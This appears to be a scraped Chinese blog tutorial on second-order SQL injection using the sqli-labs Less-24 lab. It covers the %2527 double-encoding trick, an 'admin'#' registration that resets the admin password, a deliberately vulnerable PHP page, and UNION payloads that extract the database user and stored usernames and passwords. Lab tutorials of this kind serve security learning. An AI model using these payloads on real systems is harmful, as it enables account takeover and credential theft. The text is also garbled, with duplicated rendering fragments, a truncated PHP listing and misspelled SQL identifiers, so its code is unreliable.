天天看點

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

SQL注入之二次注入

文章目錄

  • SQL注入之二次注入
  • 前言
  • 一、什麼是二次注入和二次編碼
  • 二、二次注入
    • 1.二次注入方法
    • 2.二次注入環境搭建擷取資料庫資訊
  • 總結

前言

一、什麼是二次注入和二次編碼

簡單的說,二次注入是指已存儲(資料庫、檔案)的使用者輸入被讀取後再次進入到 SQL 查詢語句中導緻的注入。

網站對我們輸入的一些重要的關鍵字進行了轉義,但是這些我們構造的語句已經寫進了資料庫,可以在沒有被轉義的地方使用

可能每一次注入都不構成漏洞,但是如果一起用就可能造成注入。

普通注入 (1)在http後面構造語句,是立即直接生效的

(2)一次注入很容易被掃描工具掃描到

二次注入 (1) 先構造語句(有被轉義字元的語句)

(2)我們構造的惡意語句存入資料庫

(3)第二次構造語句(結合前面已經存入資料庫的語句,成功。因為系統沒有對已經存入資料庫的資料做檢查)

(4)二次注入更加難以被發現

二次編碼這裡沒有實驗示範,因為靶場沒有相應的練習,我簡單介紹一下什麼是二次編碼和原理吧

之是以有二次編碼注入,是因為當我們輸入%2527的時候,浏覽器會 将%25轉義為%,之後不再進行編碼,是以最後成為了%27,最後讓浏覽器進行載一次編碼,就注入了’ ,之後就可以進行注入了。(%27==')

方法:

在注入點後鍵入%2527,然後按照正常的注入流程開始注入

測試方法

黑盒測試

在可能的注入點後鍵入%2527,之後進行注入測試

白盒測試

1.是否使用urldecode函數

2.urldecode函數是否在轉義方法之後

二、二次注入

1.二次注入方法

我們用sqil-labs24關進行練習,是一個登入界面,随便登入一個使用者admin,出現報錯了。

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結
滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

我們進行重新建立賬号看看,注冊admin’#

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結
滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

賬号注冊成功,重置密碼成功

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結
滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

這是我們看到admin賬号的密碼變為了1234,原來的admin’#密碼重置是從123改為了1234,這就是注入代碼後未經過處理,進而被二次利用注入了,原理就是#号後面的内容被注釋了,‘與前面的’ 閉合了,就直接上傳admin了。

2.二次注入環境搭建擷取資料庫資訊

上面的實驗不是很好的表現二次注入的真實環境,我們進行代碼進行更改,搭建環境進行更深層的練習。

(1)首先我們把users表中的username字段值變大點,便于我們進行注入語句,在mysql終端進行修改

alter table user change usrename varchar(255) character set gbk collate gbk_chinese_ci not null;

(2)增加userlist.php在sqli-labs中24關的目錄下

檔案内容如下:

Document <?php include("../sql-connections/sql-connect.php"); error_reporting(0); $sql="SELECT * FROM users ORDER BY id asc"; $result=mysql_query($sql); $num=mysql_num_rows($result); for($j=0;$j<$num;++$j) { $row=mysql_fetch_array($result); $username=$row[1]; $sql_detail="SELECT * FROM users where username='$username'"; $result_detail=mysql_query($sql_detail); $num_detail=mysql_num_rows($result_detail); for($i=0;$i<$num_detail;++$i) { $row_detail=mysql_fetch_array($result_detail); echo <<

?>

(3)進行實驗練習,先對userlist的代碼進行審計

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

發現注入的地方

u s e r n a m e = username= username=row[1];

s q l d e t a i l = " S E L E C T ∗ F R O M u s e r s w h e r e u s e r n a m e = ′ sql_detail="SELECT * FROM users where username=' sqld​etail="SELECT∗FROMuserswhereusername=′username’"; //注入資訊

在登入界面我們進行注入試試,在注冊頁面進行注冊一個新使用者

1’ union select 1,user(),3#

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

打開userlist.php

http://192.168.222.4/sqli-labs/Less-24/userlist.php

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

發現出現了目前使用者的資訊

注入原理很簡單,就是一下的方法進行注入,根據代碼進行注入

$username=1’ union select 1,user(),3#;

$sql_detail=“SELECT * FROM users where username=‘’”;

$sql_detail=“SELECT * FROM users where username=‘1’ union select 1,user(),3#'”;

SELECT * FROM users where username=‘1’ union select 1,user(),3#’

最後執行的就是

union select 1,user(),3#

1,[email protected],3

最後我們再進行一次注入擷取表中的資料,在進行一次注冊

1’ union select 1,(select concat(0x7e,username,0x7e,password) from security.users limit 0,1),3#

滲透測試-SQL注入之二次注入SQL注入之二次注入前言一、什麼是二次注入和二次編碼二、二次注入總結

成功擷取資料資訊,實驗結束。

總結

本次實驗我們介紹了SQL注入的二次注入的原理和方法,如何在登入界面進行二次注入,在白盒測試下,進行代碼審計,發現注入方式,學會對二次注入的攻擊與利用。

繼續閱讀